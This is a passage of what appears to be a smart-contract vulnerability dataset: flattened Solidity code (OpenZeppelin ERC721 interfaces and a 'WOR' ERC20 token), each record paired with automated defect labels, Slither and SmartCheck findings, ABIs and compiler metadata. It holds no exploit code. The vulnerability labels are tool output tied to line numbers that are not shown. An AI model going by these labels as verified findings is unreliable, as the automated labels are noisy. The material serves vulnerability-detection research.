{xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["51", "72"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["1203"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["962", "261", "940"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["499"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["503", "240", "303", "1332", "870", "225", "251", "796"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["725", "780", "779", "749", "119", "120"]}]
[{"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [3]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 21, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 979, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 248, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 702, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 723, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 744, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 747, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 777, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 51, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 51, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 13, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 150, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 197, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 273, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 440, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 856, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 889, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 922, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 993, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1021, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1242, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1273, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1304, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1451, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 19, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 23, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 214, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 285, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 288, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 291, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 294, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 460, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 463, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 466, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 469, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 472, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 475, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 928, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 816, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 1044, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1010, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 819, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 36, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 100, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 221, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 480, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1072, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 100, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1072, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1072, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1073, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1073, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1073, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1073, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1075, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1075, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1075, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MINTING_COST","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MINTING_LIMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"a","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"b","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"qty","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"qty","type":"uint256[]"}],"name":"mintGiveaway","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_b","type":"address"}],"name":"setb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_c","type":"address"}],"name":"setc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_turnOn","type":"bool"}],"name":"startSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.7+commit.e28d00a7
false
200
Default
false
WOR
0xe963b0fa93f48c3be91871f8ab6452a446bca7e4
Solidity
pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract WOR is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = 7793170000 * 10 ** uint256(decimals); _balances[msg.sender] = _totalSupply; } function totalSupply() public view returns (uint256) { return _totalSupply; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function burn(uint256 amount) public { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(value, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance")); } }
[{"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["83"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WOR.sol": [22, 23, 24, 25, 26, 27, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WOR.sol": [50, 51, 52, 53]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WOR.sol": [37, 38, 39, 40, 41, 42, 43, 44]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WOR.sol": [48, 46, 47]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WOR.sol": [33, 34, 35]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [104, 105, 103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [129, 130, 131, 132, 133]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [112, 113, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [107, 108, 109]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [99, 100, 101]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [96, 97, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [136, 137, 138, 135]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [120, 121, 122]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [140, 141, 142, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [88, 89, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WOR.sol": [115, 116, 117, 118]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WOR.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"WOR.sol": [91, 92, 93]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"WOR.sol": [96, 97, 95]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"WOR.sol": [99, 100, 101]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 124, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 70, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 72, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 74, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 75, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 76, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 77, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 68, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint8","name":"decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.5.11+commit.c082d0b4
true
200
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000b576f726c6420526f626f740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003574f520000000000000000000000000000000000000000000000000000000000
Default
MIT
false
bzzr://fd31867b824471cdc75edd76755199ab7aa3427bcbbd078f53362740a4bca720
PITSTOP
0xa44fb3aa5c8465512b806145a8f9b60e74f3f851
Solidity
